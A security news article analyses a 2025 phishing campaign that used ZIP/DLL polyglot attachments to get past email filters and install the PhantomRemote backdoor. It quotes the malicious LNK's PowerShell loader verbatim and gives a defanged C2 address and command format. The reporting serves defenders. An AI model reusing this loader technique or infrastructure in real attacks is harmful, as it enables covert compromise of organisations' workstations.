Hackers Use Polyglot Files to Bypass Email Filters to Deliver Malicious Emails

In the final week of June 2025 security teams across Russia’s healthcare and technology sectors began receiving an unusual flood of “routine” logistics and contract e-mails.

Hidden behind familiar subject lines and legitimate sender addresses, the messages contained archives that looked like ordinary ZIP files yet behaved like executable libraries.

This hybrid format—known as a polyglot—slipped past most secure mail gateways, allowing attackers to plant malware directly onto employee workstations.

Bi.Zone analysts quickly linked the wave to the Rainbow Hyena threat cluster and discovered that each archive was simultaneously a PE32+ DLL and a ZIP container.

Since e-mail filters inspected only the ZIP header, the dangerous DLL portion went unchecked until the moment of user interaction.

Compromised corporate mailboxes, rather than spoofed domains, provided additional legitimacy, giving the attackers a near-perfect delivery mechanism that required no macro-enabled documents or overt executable attachments.

Once the victim double-clicked the attachment, Windows treated it as a compressed folder exposing a single shortcut.

The shortcut’s icon mimicked a contract update, but its target invoked PowerShell with hidden-window parameters, searching the disk for the parent polyglot and launching it through rundll32.exe.

A benign spreadsheet was simultaneously extracted to %TEMP% and opened, masking the compromise with an authentic-looking document.

Early telemetry shows multiple organisations progressing from initial click to full backdoor installation in under five minutes.

PhantomRemote—the custom payload embedded inside the DLL—provides command execution, file download and system inventory over plain HTTP, adopting User-Agent strings such as “YandexCloud/1.0” or “MicrosoftAppStore/2001.0” to blend into outbound traffic.

Even after perimeter detection, analysts report that workstation-level persistence allowed the threat actor to maintain footholds until manual remediation.

Infection Mechanism

The shortcut contains the entire infection logic. The excerpt below, lifted unchanged from one malicious LNK, shows how the script hunts for its payload and executes it:

$r=$(Get-Location). Path+'\\Договор_РН83_37_изменения. zip';
if(Test-Path $r){rundll32.exe $r,EntryPoint}else{
  $f=Get-ChildItem -Path '%userprofile%' -Recurse -Filter 'Договор_РН83_37_изменения.zip' | Select-Object -First 1;
  if($f){rundll32.exe $f.FullName,EntryPoint}
}

When rundll32 triggers PhantomRemote’s exported EntryPoint, the malware collects the computer and domain names, generates a GUID, and creates %PROGRAMDATA%\YandexCloud as its workspace.

It then polls 91.239.148[.]21/poll with the harvested identifiers; subsequent C2 replies such as cmd:ipconfig|42 are executed through cmd[.]exe, with output returned via HTTP POST.

The loop repeats every 10 seconds, falling back to a 1-second retry on failure, making the compromise both resilient and stealthy.

Investigate live malware behavior, trace every step of an attack, and make faster, smarter security decisions -> Try ANY.RUN now